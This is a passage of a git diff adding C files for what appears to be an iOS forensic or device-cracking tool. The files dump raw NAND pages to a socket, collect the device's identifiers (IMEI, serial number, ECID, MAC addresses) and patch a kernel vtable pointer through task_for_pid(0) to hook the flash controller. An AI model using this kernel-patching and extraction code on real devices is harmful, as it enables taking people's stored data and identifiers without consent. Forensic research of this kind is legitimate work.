&kCFTypeDictionaryValueCallBacks); + + FSDGetPropertyForKey(obj, CFSTR("device-readid"), &gDeviceReadID, sizeof(gDeviceReadID), dict); + FSDGetPropertyForKey(obj, CFSTR("#ce"), &gCECount, sizeof(gCECount), dict); + FSDGetPropertyForKey(obj, CFSTR("#ce-blocks"), &gBlocksPerCE, sizeof(gBlocksPerCE), dict); + FSDGetPropertyForKey(obj, CFSTR("#block-pages"), &gPagesPerBlock, sizeof(gPagesPerBlock), dict); + FSDGetPropertyForKey(obj, CFSTR("#page-bytes"), &gBytesPerPage, sizeof(gBytesPerPage), dict); + FSDGetPropertyForKey(obj, CFSTR("#spare-bytes"), &gBytesPerSpare, sizeof(gBytesPerSpare), dict); + FSDGetPropertyForKey(obj, CFSTR("#bootloader-bytes"), &gBootloaderBytes, sizeof(gBootloaderBytes), dict); + + FSDGetPropertyForKey(obj, CFSTR("metadata-whitening"), NULL, 0, dict); + FSDGetPropertyForKey(obj, CFSTR("name"), NULL, 0, dict); + FSDGetPropertyForKey(obj, CFSTR("is-bfn-partitioned"), NULL, 0, dict); + FSDGetPropertyForKey(obj, CFSTR("bbt-format"), NULL, 0, dict); + //FSDGetPropertyForKey(obj, CFSTR("channels"), NULL, 0, dict); + FSDGetPropertyForKey(obj, CFSTR("vendor-type"), NULL, 0, dict); + FSDGetPropertyForKey(obj, CFSTR("ppn-device"), &gPPNdevice, sizeof(gPPNdevice), dict); + + + FSDGetPropertyForKey(obj, CFSTR("valid-meta-per-logical-page"), &validmetaPerLogicalPage, sizeof(gBytesPerSpare), dict); + FSDGetPropertyForKey(obj, CFSTR("meta-per-logical-page"), &metaPerLogicalPage, sizeof(gBytesPerSpare), dict); + if (metaPerLogicalPage == 0) + { + metaPerLogicalPage = 12;//default value? + } + + //XXX: returns (possibly wrong) default value (1) when nand-disable-driver is set, use vendor-type + info from openiboot to get correct value : bank-per-ce VFL (!=physical banks) + FSDGetPropertyForKey(obj, CFSTR("banks-per-ce"), &banksPerCE, sizeof(gBytesPerSpare), dict); + FSDGetPropertyForKey(obj, CFSTR("use-4k-aes-chain"), &use_4k_aes_chain, sizeof(gBytesPerSpare), dict); + + gPagesPerCE = gBlocksPerCE * gPagesPerBlock; + gTotalBlocks = gCECount * gBlocksPerCE; + + FSDGetPropertyForKey(obj, CFSTR("boot-from-nand"), &gIsBootFromNand, sizeof(gIsBootFromNand), dict); + + CFMutableDictionaryRef dictPartitions = CFDictionaryCreateMutable (kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + findPartitionLocation(CFSTR("Boot Block"), dictPartitions); + findPartitionLocation(CFSTR("Effaceable"), dictPartitions); + findPartitionLocation(CFSTR("NVRAM"), dictPartitions); + findPartitionLocation(CFSTR("Firmware"), dictPartitions); + findPartitionLocation(CFSTR("Filesystem"), dictPartitions); + /*findPartitionLocation(CFSTR("Diagnostic Data")); + findPartitionLocation(CFSTR("System Config")); + findPartitionLocation(CFSTR("Bad Block Table"));*/ + //findPartitionLocation(CFSTR("Unpartitioned"));//never matches + + CFDictionaryAddValue(dict, CFSTR("partitions"), dictPartitions); + IOObjectRelease(obj); + IOObjectRelease(iterator); + + gDumpPageSize = gBytesPerPage + metaPerLogicalPage + sizeof(struct kIOFlashControllerOut); + CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &gDumpPageSize); + CFDictionarySetValue(dict, CFSTR("dumpedPageSize"), n); + CFRelease(n); + + if (printInfo) + { + uint64_t total_size = ((uint64_t)gBytesPerPage) * ((uint64_t) (gPagesPerBlock * gBlocksPerCE * gCECount)); + total_size /= 1024*1024*1024; + fprintf(stderr, "NAND configuration: %uGiB (%d CEs of %d blocks of %d pages of %d bytes data, %d bytes spare\n", + (uint32_t) total_size, + gCECount, + gBlocksPerCE, + gPagesPerBlock, + gBytesPerPage, + gBytesPerSpare); + } + + set_physical_banks(1); + return dict; +} + +CFDictionaryRef nand_dump(int fd) +{ + uint64_t totalSize = (uint64_t)gPagesPerBlock * (uint64_t)gBlocksPerCE * (uint64_t)gCECount * (uint64_t)gDumpPageSize; + write(fd, &totalSize, sizeof(uint64_t)); + + dump_nand_to_socket(fd); + return NULL; +} + +int dump_nand_to_socket(int fd) +{ + int ceNum=0,pageNum,bankNum; + IOReturn r; + uint64_t totalPages = gPagesPerBlock * gBlocksPerCE * gCECount; + uint64_t validPages = 0; + uint64_t blankPages = 0; + uint64_t errorPages = 0; + uint64_t otherPages = 0; + uint64_t counter = 0; + + //page data + spare metadata + kernel return values + uint8_t* pageBuffer = (uint8_t*) valloc(gDumpPageSize); + + if (pageBuffer == NULL) + { + fprintf(stderr, "valloc(%d) FAIL", gDumpPageSize); + return 0; + } + struct kIOFlashControllerOut *out = (&pageBuffer[gBytesPerPage + metaPerLogicalPage]); + + time_t start = time(NULL); + + for(bankNum=0; bankNum < banksPerCEphysical; bankNum++) + { + uint32_t start_page = bank_address_space * bankNum * gPagesPerBlock; + uint32_t end_page = start_page + gPagesPerBlock * blocks_per_bank; + for(pageNum=start_page; pageNum < end_page; pageNum++) + { + for(ceNum=0; ceNum < gCECount; ceNum++) + { + uint32_t blockNum = pageNum / gPagesPerBlock; + uint32_t boot = (blockNum < gFSStartBlock); + + if(boot) + r = FSDReadBootPage(ceNum, pageNum, pageBuffer, out); + else + r = FSDReadPageWithOptions(ceNum, pageNum, pageBuffer, &pageBuffer[gBytesPerPage], metaPerLogicalPage, 0, out); + //r = FSDReadPageWithOptions(ceNum, pageNum, pageBuffer,NULL, 0, 0x100, out); + + if(r == 0) + { + validPages++; + } + else + { + if (r == kIOReturnBadMedia) + { + fprintf(stderr, "CE %x page %x : uncorrectable ECC error\n", ceNum, pageNum); + errorPages++; + } + else if (r == kIOReturnUnformattedMedia) + { + memset(pageBuffer, 0xFF, gBytesPerPage + metaPerLogicalPage); + blankPages++; + } + else if (r == 0xdeadbeef) + { + fprintf(stderr, "0xdeadbeef return code, something is wrong with injected kernel code\n"); + exit(0); + } + else if (r == kIOReturnBadArgument || r == kIOReturnNotPrivileged) + { + fprintf(stderr, "Error 0x%x (kIOReturnBadArgument/kIOReturnNotPrivileged)\n", r); + exit(0); + } + else + { + fprintf(stderr, "CE %x page %x : unknown return code 0x%x\n", ceNum, pageNum, r); + otherPages++; + } + } + out->ret2 = 0; + + if(write(fd, pageBuffer, gDumpPageSize) != gDumpPageSize) + { + pageNum = gPagesPerBlock * gBlocksPerCE; + fprintf(stderr, "Abort dump\n"); + break; + } + if (ceNum == 0 && pageNum % gPagesPerBlock == 0) + { + fprintf(stderr, "Block %llu/%d (%llu%%)\n", (counter/gPagesPerBlock), gBlocksPerCE, (counter*100)/(gPagesPerBlock*gBlocksPerCE)); + } + } + counter++; + } + } + if (ceNum == gCECount && pageNum == (gPagesPerBlock * gBlocksPerCE)) + { + time_t duration = time(NULL) - start; + fprintf(stderr, "Finished NAND dump in %lu hours %lu minutes %lu seconds\n", duration / 3600, (duration % 3600) / 60, (duration % 3600) % 60); + fprintf(stderr, "Total pages %llu\n", totalPages); + fprintf(stderr, "In-use pages %llu (%d%%)\n", validPages, (int) (validPages * 100 / totalPages)); + fprintf(stderr, "Blank pages %llu (%d%%)\n", blankPages, (int) (blankPages * 100 / totalPages)); + fprintf(stderr, "Error pages %llu (%d%%)\n", errorPages, (int) (errorPages * 100 / totalPages)); + fprintf(stderr, "Other pages %llu (%d%%)\n", otherPages, (int) (otherPages * 100 / totalPages)); + } + free(pageBuffer); + return 0; +} + +int nand_proxy(int fd) +{ + struct kIOFlashControllerOut out; + proxy_read_cmd cmd; + + uint8_t* pageBuffer = (uint8_t*) valloc(gBytesPerPage); + if( pageBuffer == NULL) + { + fprintf(stderr, "pageBuffer = valloc(%d) failed\n", gBytesPerPage); + return 0; + } + + while(1) + { + int z = read(fd, &cmd, sizeof(proxy_read_cmd)); + if (z != sizeof(proxy_read_cmd)) + break; + + void* spareBuf = NULL; + + uint32_t blockNum = cmd.page / gPagesPerBlock; + uint32_t boot = (blockNum < gFSStartBlock); + if(boot) + { + cmd.spareSize = 0; + cmd.options |= kIOFlashStorageOptionBootPageIO; + } + else if (cmd.spareSize) + { + spareBuf = valloc(cmd.spareSize); + } + FSDReadPageWithOptions(cmd.ce, cmd.page, pageBuffer, spareBuf, cmd.spareSize, cmd.options, &out); + + write(fd, pageBuffer, gBytesPerPage); + if (spareBuf != NULL) + { + write(fd, spareBuf, cmd.spareSize); + } + write(fd, &out, sizeof(struct kIOFlashControllerOut)); + + if (spareBuf != NULL) + { + free(spareBuf); + } + } + free(pageBuffer); + return 0; +} diff --git a/crack/crack/ioflash/ioflash.h b/crack/crack/ioflash/ioflash.h new file mode 100644 index 0000000..c826bed --- /dev/null +++ b/crack/crack/ioflash/ioflash.h @@ -0,0 +1,118 @@ +#include + +#define kIOFlashStorageOptionBootPageIO 0x100 +#define kIOFlashStorageOptionRawPageIO 0x002 +#define kIOFlashStorageOptionXXXX 0x004 +//0xC0 == kIOFlashStorageOptionUseAES | kIOFlashStorageOptionHomogenize + +#define kIOFlashControllerReadPage 0x1 +#define kIOFlashControllerWritePage 0x2 +#define kIOFlashControllerDisableKeepout 0xa + + +struct kIOFlashControllerReadPageIn; +struct kIOFlashControllerOut; + +//from ioflashstoragetool +CFMutableDictionaryRef MakeOneStringProp(CFStringRef key, CFStringRef value); +io_service_t _wait_for_io_service_matching_dict(CFDictionaryRef matching); +int FSDConnect(const char* name); +int FSDGetPropertyForKey(io_object_t obj, CFStringRef name, void* out, uint32_t outLen, CFMutableDictionaryRef dict); +void findPartitionLocation(CFStringRef contentHint, CFMutableDictionaryRef dict);//findNvramLocation +IOReturn FSDReadPageHelper(struct kIOFlashControllerReadPageIn* in, struct kIOFlashControllerOut* out); +IOReturn FSDReadPageWithOptions(uint32_t ceNum, uint32_t pageNum, void* buffer, void* spareBuffer, uint32_t spareSize, uint32_t options, struct kIOFlashControllerOut* out); +IOReturn FSDReadBootPage(uint32_t ceNum, uint32_t pageNum,uint32_t* buffer, struct kIOFlashControllerOut* out); + +CFMutableDictionaryRef FSDGetInfo(int); +int IOFlashStorage_kernel_patch(); + +CFDictionaryRef nand_dump(int fd); +int dump_nand_to_socket(int fd); +int nand_proxy(int fd); + +struct kIOFlashControllerReadPageIn +{ + uint32_t page; + uint32_t ce; + uint32_t options; + void* buffer; + uint32_t bufferSize; + void* spare; + uint32_t spareSize; +};//sizeof = 0x1C + +//sizeof=0x8 +struct kIOFlashControllerOut +{ + uint32_t ret1; + uint32_t ret2; +}; + +//sizeof=0x50 AppleIOPFMIDMACommand? +struct IOFlashCommandStruct +{ + uint32_t flags0; + uint32_t flags1; + uint32_t field8; + uint32_t fieldC; + uint32_t* page_ptr; + void* bufferDesc;//IOMemoryDescriptor* + uint32_t field18; + uint32_t field1C; + uint32_t field20; + uint32_t* ce_ptr; + void* spareVA; + uint32_t spareSize; + uint32_t field30; + uint32_t field34; + uint32_t field38; + uint32_t errorCode; + uint32_t field40; + uint32_t field44; + uint32_t field48; + uint32_t field4C; +}; + +typedef struct IOExternalMethodArguments +{ + uint32_t version; + + uint32_t selector; + + mach_port_t asyncWakePort; + io_user_reference_t * asyncReference; + uint32_t asyncReferenceCount; + + const uint64_t * scalarInput; + uint32_t scalarInputCount; + + const void * structureInput; + uint32_t structureInputSize; + + //IOMemoryDescriptor * structureInputDescriptor; + void * structureInputDescriptor; + + uint64_t * scalarOutput; + uint32_t scalarOutputCount; + + void * structureOutput; + uint32_t structureOutputSize; + + void * structureOutputDescriptor; + uint32_t structureOutputDescriptorSize; + + uint32_t __reservedA; + + //OSObject ** structureVariableOutputData; + void ** structureVariableOutputData; + + uint32_t __reserved[30]; +} IOExternalMethodArguments; + +typedef struct proxy_read_cmd +{ + uint32_t ce; + uint32_t page; + uint32_t spareSize; + uint32_t options; +} proxy_read_cmd; diff --git a/crack/crack/ioflash/ioflash_kernel.c b/crack/crack/ioflash/ioflash_kernel.c new file mode 100644 index 0000000..06596a0 --- /dev/null +++ b/crack/crack/ioflash/ioflash_kernel.c @@ -0,0 +1,220 @@ +#include +#include +#include +#include +#include +#include +#include +#include "ioflash.h" + +CF_EXPORT const CFStringRef _kCFSystemVersionProductVersionKey; +CF_EXPORT CFDictionaryRef _CFCopySystemVersionDictionary(void); + +mach_port_t kernel_task=0; + +void* externalMethod_original = NULL; +void** externalMethod_ptr = NULL; + + +void* (*IOMemoryDescriptor__withAddress)(void*, uint32_t, uint32_t, uint32_t) = 0x0; + +typedef int (*methodptr)(void*, ...); + +#define CALL_VTABLE(this, vtableoff, ...) \ + ((methodptr) (*(uint32_t**)this)[vtableoff/4]) (this, ##__VA_ARGS__) + +//IOReturn externalMethod( uint32_t selector, IOExternalMethodArguments * arguments,IOExternalMethodDispatch * dispatch = 0, OSObject * target = 0, void * reference = 0 ); +int myIOFlashStorage_externalMethod(uint32_t* this, uint32_t selector, IOExternalMethodArguments* arguments) +{ + if (selector == kIOFlashControllerDisableKeepout) + { + void* obj2 = (void*) this[0x78/4]; //AppleIOPFMI object + CALL_VTABLE(obj2, 0x35C, 0, 0, 1); + return 0x0; + } + if (selector != kIOFlashControllerReadPage) //only support read + return 0xE00002C2; + + if (IOMemoryDescriptor__withAddress == 0x0) + return 0xdeadbeef; + + struct IOFlashCommandStruct command = {0}; + uint32_t** bufferDesc = NULL; + uint32_t** spareDesc = NULL; + uint32_t** md = NULL; + + void* obj1 = (void*) this[0x78/4]; //AppleIOPFMI object + + struct kIOFlashControllerReadPageIn* in = (struct kIOFlashControllerReadPageIn*) arguments->structureInput; + struct kIOFlashControllerOut* out = (struct kIOFlashControllerOut*) arguments->structureOutput; + + uint32_t page = in->page; + uint32_t ce = in->ce; + + command.flags1 = 1; + if (in->options & kIOFlashStorageOptionBootPageIO) + { + if(in->spare != NULL) + return 0xE00002C2; //spare buffer is not used with bootloader page I/O + command.flags0 = 9; + } + else + { + if( !(in->options & kIOFlashStorageOptionRawPageIO) && in->spare) + { + command.flags0 = in->options & 2; + } + else + { + return 0xdeadbeef; //raw page io + } + } + command.flags1 |= in->options & 4; + command.field8 = 1; + command.fieldC = 0; + command.page_ptr = &page; + + + bufferDesc = IOMemoryDescriptor__withAddress(in->buffer, in->bufferSize, 1, this[0x7C/4]); + if (bufferDesc == NULL) + return 0xE00002C2; + + command.bufferDesc = bufferDesc; + command.field18 = 0; + command.errorCode = 0; + + if (in->spare != NULL) + { + spareDesc = IOMemoryDescriptor__withAddress(in->spare, in-> spareSize, 1, this[0x7C/4]); + if (spareDesc == NULL) + return 0xE00002C2; + + //0xAC -> desc2 __ZN25IOGeneralMemoryDescriptor5doMapEP7_vm_mapPjmmm + //virtual IOMemoryMap * map( IOOptionBits options = 0 ); + md = (void*) CALL_VTABLE(spareDesc, 0x98); //IOGeneralMemoryDescriptor_map + + command.spareSize = in->spareSize; + command.spareVA = (void*) CALL_VTABLE(md, 0x38); + } + else + { + command.spareSize = 0; + command.spareVA = NULL; + } + command.field34 = 0; + command.ce_ptr = &ce; + + out->ret1 = CALL_VTABLE(obj1, 0x344, 0, &command); + + CALL_VTABLE(bufferDesc, 0x14); //IOGeneralMemoryDescriptor_release + + if (md != NULL) + { + CALL_VTABLE(md, 0x14); //IOGeneralMemoryDescriptor_release + } + if (spareDesc != NULL) + { + CALL_VTABLE(spareDesc, 0x14); //IOGeneralMemoryDescriptor_release + } + out->ret2 = command.errorCode; + return 0; +} + +kern_return_t write_kernel(mach_port_t p, void* addr, uint32_t value) +{ + kern_return_t r = vm_write(p, (vm_address_t)addr, (vm_address_t)&value, sizeof(value )); + if (r) + fprintf(stderr, "vm_write into kernel_task failed\n"); + else + fprintf(stderr, "vm_write into kernel_task OK\n"); + return r; +} + +void __attribute__((destructor)) restore_handler() +{ + if (kernel_task != 0 && externalMethod_ptr != NULL && externalMethod_original != NULL) + { + fprintf(stderr, "Restoring IOFlashStorageControler::externalMethod ptr\n"); + write_kernel(kernel_task, externalMethod_ptr, (uint32_t) externalMethod_original+1); + } +} + +void signal_handler(int sig) +{ + restore_handler(); + signal(sig, SIG_DFL); + raise(sig); +} + +int IOFlashStorage_kernel_patch() +{ + CFStringRef version = NULL; + CFDictionaryRef versionDict = _CFCopySystemVersionDictionary(); + + if (versionDict != NULL) + { + version = CFDictionaryGetValue(versionDict, _kCFSystemVersionProductVersionKey); + } + if (version == NULL) + { + fprintf(stderr, "FAILed to get current version\n"); + return 0; + } + if (CFStringCompare(version, CFSTR("4.3.5"), 0) <= 0) + { + fprintf(stderr, "iOS 4 kernel detected, no kernel patching required\n"); + return 1; + } + fprintf(stderr, "iOS 5 kernel detected, replacing IOFlashControlerUserClient::externalMethod\n"); + + kern_return_t r = task_for_pid(mach_task_self(), 0, &kernel_task); + + if( r != 0) + { + fprintf(stderr, "task_for_pid returned %x : missing tfp0 kernel patch (use latest kernel_patcher.py) or wrong entitlements\n", r); + return 0; + } + uint32_t i; + pointer_t buf; + unsigned int sz; + + vm_address_t addr = 0x80002000; + + while( addr < (0x80002000 + 0xA00000)) + { + vm_read(kernel_task, addr, 2048, &buf, &sz); + if( buf == NULL || sz == 0) + continue; + + uint32_t* p = (uint32_t*) buf; + + for(i=0; i < sz/sizeof(uint32_t); i++) + { + if (externalMethod_original != NULL) + { + if (p[i] == (externalMethod_original+1)) + { + externalMethod_ptr = (void*) (addr + i*4); + fprintf(stderr, "Found externalMethod ptr at %x\n", (uint32_t) externalMethod_ptr); + write_kernel(kernel_task, externalMethod_ptr, (uint32_t) myIOFlashStorage_externalMethod); + + signal(SIGINT, signal_handler);//handle ctrl+c + return 1; + } + else if(IOMemoryDescriptor__withAddress == NULL && !memcmp(&p[i], "\x20\x46\x26\xB0\x5D\xF8\x04\x8B\xF0\xBD", 10)) + { + IOMemoryDescriptor__withAddress = (void*) p[i+5]; + fprintf(stderr, "IOMemoryDescriptor__withAddress=%x\n", (uint32_t) IOMemoryDescriptor__withAddress); + } + } + else if(!memcmp(&p[i], "\xF0\xB5\x03\xAF\x4D\xF8\x04\x8D\xA6\xB0\x40\xF2\xC2\x24\x13\x6A", 16)) + { + externalMethod_original = (void*) (addr + i*4); + fprintf(stderr, "Found IOFlashControlerUserClient::externalMethod at %x\n", (uint32_t) externalMethod_original); + } + } + addr += 2048; + } + fprintf(stderr, "Kernel patching failed\n"); + return 0; +} diff --git a/crack/crack/registry.c b/crack/crack/registry.c new file mode 100644 index 0000000..1a67aa3 --- /dev/null +++ b/crack/crack/registry.c @@ -0,0 +1,427 @@ +/** +https://github.com/Gojohnnyboi/restored_pwn +**/ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "util.h" + +//from libmobilegestalt.dylib +CFDataRef copyDataFromChosen(CFStringRef key) +{ + io_registry_entry_t chosen = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/chosen"); + if (chosen) + { + CFDataRef res = IORegistryEntryCreateCFProperty(chosen, key, kCFAllocatorDefault, 0); + IOObjectRelease(chosen); + return res; + } + return NULL; +} +CFStringRef copyStringFromChosen(CFStringRef key) +{ + CFStringRef s = NULL; + CFDataRef data = copyDataFromChosen(key); + if(data == NULL) + return NULL; + + if(CFGetTypeID(data) == CFDataGetTypeID()) + { + s = CFStringCreateWithCString(kCFAllocatorDefault, (const char*) CFDataGetBytePtr(data), kCFStringEncodingUTF8); + } + CFRelease(data); + return s; +} + +CFNumberRef copyNumberFromChosen(CFStringRef key) +{ + CFNumberRef num = NULL; + CFDataRef data = copyDataFromChosen(key); + + if(data == NULL) + return NULL; + if(CFGetTypeID(data) == CFDataGetTypeID()) + { + int len = CFDataGetLength(data); + + num = CFNumberCreate(kCFAllocatorDefault, + len == 4 ? kCFNumberSInt32Type : kCFNumberSInt64Type, + CFDataGetBytePtr(data) + ); + } + CFRelease(data); + return num; +} + +io_service_t get_io_service(const char *name) { + CFMutableDictionaryRef matching; + io_service_t service = 0; + + matching = IOServiceMatching(name); + if(matching == NULL) { + printf("unable to create matching dictionary for class '%s'\n", name); + return 0; + } + + while(!service) { + CFRetain(matching); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + if(service) break; + + printf("waiting for matching IOKit service: %s\n", name); + sleep(1); + CFRelease(matching); + } + + CFRelease(matching); + + return service; +} + +CFStringRef copy_device_imei() { + CFMutableDictionaryRef matching; + io_service_t service; + CFDataRef imeiData; + const void *imeiDataPtr; + CFStringRef imeiString; + + matching = IOServiceNameMatching("baseband"); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + + if(!service) { + return NULL; + } + + imeiData = IORegistryEntryCreateCFProperty(service, CFSTR("device-imei"), kCFAllocatorDefault, 0); + if(!imeiData) { + printf("unable to find device-imei property\n"); + IOObjectRelease(service); + return NULL; + } + + imeiDataPtr = CFDataGetBytePtr(imeiData); + imeiString = CFStringCreateWithCString(kCFAllocatorDefault, imeiDataPtr, kCFStringEncodingUTF8); + + CFRelease(imeiData); + IOObjectRelease(service); + + return imeiString; +} + +CFStringRef copy_device_serial_number() { + io_service_t service; + CFStringRef serialNumber; + + service = get_io_service("IOPlatformExpertDevice"); + if(!service) { + printf("unable to find IOPlatformExpertDevice service\n"); + return NULL; + } + + serialNumber = IORegistryEntryCreateCFProperty(service, CFSTR("IOPlatformSerialNumber"), kCFAllocatorDefault, 0); + IOObjectRelease(service); + + return serialNumber; +} + +CFStringRef copy_devicetree_option(CFStringRef key) { + io_registry_entry_t entry; + CFStringRef option; + + entry = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/options"); + if(!entry) { + printf("unable to get registry entry for IODeviceTree:/options\n"); + return NULL; + } + + option = IORegistryEntryCreateCFProperty(entry, key, kCFAllocatorDefault, 0); + IOObjectRelease(entry); + + return option; +} + +CFStringRef copy_hardware_model() { + size_t buflen = 0x80; + char buf[buflen]; + CFStringRef model; + + if(sysctlbyname("hw.model", buf, &buflen, NULL, 0) != 0) { + printf("sysctlbyname for hw.model failed: %s\n", strerror(errno)); + return NULL; + } + + model = CFStringCreateWithCString(kCFAllocatorDefault, buf, kCFStringEncodingUTF8); + + return model; +} + +CFStringRef copy_hardware_platform() { + io_service_t service; + CFStringRef platform; + char *platformPtr; + + service = get_io_service("IOPlatformExpertDevice"); + if(!service) { + printf("unable to find IOPlatformExpertDevice service\n"); + return NULL; + } + + platform= IORegistryEntryCreateCFProperty(service, CFSTR("platform-name"), kCFAllocatorDefault, 0); + if(platform == NULL) { + printf("platform-name not found in device tree\n"); + IOObjectRelease(service); + return NULL; + } + + platformPtr = calloc(1, CFStringGetLength(platform)+1); + if(!CFStringGetCString(platform, platformPtr, CFStringGetLength(platform)+1, kCFStringEncodingUTF8)) { + printf("unable to obtain platform-name string\n"); + IOObjectRelease(service); + return NULL; + } + + printf("platform-name = %s\n", platformPtr); + free(platformPtr); + + return platform; +} + +CFStringRef copy_bluetooth_mac_address() { + io_service_t service; + CFDataRef macaddrData; + CFStringRef macaddr; + unsigned char macaddrBytes[6]; + + service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching("bluetooth")); + if(!service) { + printf("unable to find bluetooth service\n"); + return NULL; + } + + macaddrData= IORegistryEntryCreateCFProperty(service, CFSTR("local-mac-address"), kCFAllocatorDefault, 0); + if(macaddrData == NULL) { + printf("bluetooth local-mac-address not found\n"); + IOObjectRelease(service); + return NULL; + } + CFDataGetBytes(macaddrData, CFRangeMake(0,6), macaddrBytes); + + macaddr = CFStringCreateWithFormat(kCFAllocatorDefault, + NULL, + CFSTR("%02x:%02x:%02x:%02x:%02x:%02x"), + macaddrBytes[0], + macaddrBytes[1], + macaddrBytes[2], + macaddrBytes[3], + macaddrBytes[4], + macaddrBytes[5]); + + return macaddr; +} + +void search_wifi_mac_callback(void** context, io_iterator_t iterator) { + unsigned char macaddrBytes[6]; + io_iterator_t iterator2=0; + io_object_t obj2=0; + io_name_t name; + CFDataRef t1=0; + io_object_t next; + + while ((next = IOIteratorNext(iterator)) != 0) + { + if (!IORegistryEntryCreateIterator(next, "IOService", 3, &iterator2)) + { + while((obj2 = IOIteratorNext(iterator2)) != 0) + { + if (!IORegistryEntryGetName(obj2,name)) + { + if (!strcmp(name, "sdio") || !strcmp(name, "wlan")) + { + if((t1 = IORegistryEntryCreateCFProperty(obj2, CFSTR("local-mac-address"), kCFAllocatorDefault, 0)) != 0) + { + CFDataGetBytes(t1, CFRangeMake(0,6), macaddrBytes); + *context = (void*) CFStringCreateWithFormat(kCFAllocatorDefault, + NULL, + CFSTR("%02x:%02x:%02x:%02x:%02x:%02x"), + macaddrBytes[0], + macaddrBytes[1], + macaddrBytes[2], + macaddrBytes[3], + macaddrBytes[4], + macaddrBytes[5]); + CFRelease(t1); + } + } + } + + } + IOObjectRelease(iterator2); + } + IOObjectRelease(next); + if (*context != NULL) + break; + } +} + +CFStringRef lookup_mac_address(const char* serviceName) +{ + unsigned char macaddrBytes[6]; + CFStringRef res = NULL; + + io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching(serviceName)); + + if(service) + { + CFDataRef macData = IORegistryEntryCreateCFProperty(service, CFSTR("local-mac-address"), kCFAllocatorDefault, 0); + if(macData != NULL) + { + CFDataGetBytes(macData, CFRangeMake(0,6), macaddrBytes); + + res = CFStringCreateWithFormat(kCFAllocatorDefault, + NULL, + CFSTR("%02x:%02x:%02x:%02x:%02x:%02x"), + macaddrBytes[0], + macaddrBytes[1], + macaddrBytes[2], + macaddrBytes[3], + macaddrBytes[4], + macaddrBytes[5]); + CFRelease(macData); + } + IOObjectRelease(service); + } + return res; +} + +CFStringRef copy_wifi_mac_address() { + CFStringRef wifimac = NULL; + IONotificationPortRef notify_port = 0; + io_iterator_t iterator = 0; + + wifimac = lookup_mac_address("sdio"); + if (wifimac != NULL) + return wifimac; + + wifimac = lookup_mac_address("wlan"); + if (wifimac != NULL) + return wifimac; + + notify_port = IONotificationPortCreate(kIOMasterPortDefault); + + CFRunLoopSourceRef runLoopSource = IONotificationPortGetRunLoopSource(notify_port); + + CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopDefaultMode); + + if (!IOServiceAddMatchingNotification( notify_port, + kIOMatchedNotification, + IOServiceMatching("IONetworkController"), + (IOServiceMatchingCallback) search_wifi_mac_callback, + &wifimac, + &iterator + )) + { + search_wifi_mac_callback((void**)&wifimac, iterator); + while( wifimac == NULL) + { + if( CFRunLoopRunInMode(kCFRunLoopDefaultMode,0, TRUE) != kCFRunLoopRunHandledSource) + { + printf("giving up on wifi mac address\n"); + break; + } + } + } + IONotificationPortDestroy(notify_port); + return wifimac; +} + +int useNewUDID(CFStringRef hw) +{ + return CFEqual(hw, CFSTR("K93AP")) || + CFEqual(hw, CFSTR("K94AP")) || + CFEqual(hw, CFSTR("K95AP")) || + CFEqual(hw, CFSTR("N92AP")) || + CFEqual(hw, CFSTR("N94AP")); +} + +//http://iphonedevwiki.net/index.php/Lockdownd +void get_device_infos(CFMutableDictionaryRef out) { + CC_SHA1_CTX sha1ctx; + uint8_t udid[20]; + char udid1[100]; + CFStringRef serial; + CFStringRef imei; + CFStringRef macwifi; + CFStringRef macbt; + + CFStringRef hw = copy_hardware_model(); + if (hw != NULL) + { + CFDictionaryAddValue(out, CFSTR("hwModel"), hw); + CFRelease(hw); + } + + serial = copy_device_serial_number(); + imei = copy_device_imei(); + macwifi = copy_wifi_mac_address(); + macbt = copy_bluetooth_mac_address(); + + CFMutableStringRef udidInput = CFStringCreateMutable(kCFAllocatorDefault, 0); + if (serial != NULL) + { + CFStringAppend(udidInput, serial); + CFDictionaryAddValue(out, CFSTR("serialNumber"), serial); + CFRelease(serial); + } + + uint64_t _ecid = 0; + CFNumberRef ecid = copyNumberFromChosen(CFSTR("unique-chip-id")); + if (ecid != NULL) + { + CFDictionaryAddValue(out, CFSTR("ECID"), ecid); + } + + if (ecid != NULL && useNewUDID(hw)) + { + CFNumberGetValue(ecid, kCFNumberSInt64Type, &_ecid); + CFStringAppendFormat(udidInput, NULL, CFSTR("%llu"), _ecid); + } + else if (imei != NULL) + { + CFStringAppend(udidInput, imei); + CFDictionaryAddValue(out, CFSTR("imei"), imei); + CFRelease(imei); + } + if (macwifi != NULL) + { + CFStringAppend(udidInput, macwifi); + CFDictionaryAddValue(out, CFSTR("wifiMac"), macwifi); + CFRelease(macwifi); + } + if (macbt != NULL) + { + CFStringAppend(udidInput, macbt); + CFDictionaryAddValue(out, CFSTR("btMac"), macbt); + CFRelease(macbt); + } + + CFStringGetCString(udidInput, udid1, 99, kCFStringEncodingASCII); + + CC_SHA1_Init(&sha1ctx); + CC_SHA1_Update(&sha1ctx, udid1, CFStringGetLength(udidInput)); + CC_SHA1_Final(udid, &sha1ctx); + + CFRelease(udidInput); + addHexaString(out, CFSTR("udid"), udid, 20); + +} \ No newline at end of file diff --git a/crack/crack/registry.h b/crack/crack/registry.h new file mode 100644 index 0000000..5691756 --- /dev/null +++ b/crack/crack/registry.h @@ -0,0 +1 @@ +void get_device_infos(CFMutableDictionaryRef out); \ No newline at end of file diff --git a/crack/crack/util.c b/crack/crack/util.c new file mode 100644 index 0000000..6406254 --- /dev/null +++ b/crack/crack/util.c @@ -0,0 +1,263 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "util.h" + +char* hex2str(uint8_t* buf, unsigned int sz) { + int i = 0; + unsigned int strsz = sz*2; + char* str = malloc(strsz+1); + for(i = 0; i < sz; i++) sprintf(&str[i*2], "%02x", *(unsigned char*)&buf[i]); + str[strsz] = '\0'; + return str; +} + +uint8_t* str2hex(char* buf) { + int i = 0; + size_t size = 0; + unsigned int byte = 0; + size = strlen(buf) / 2; + 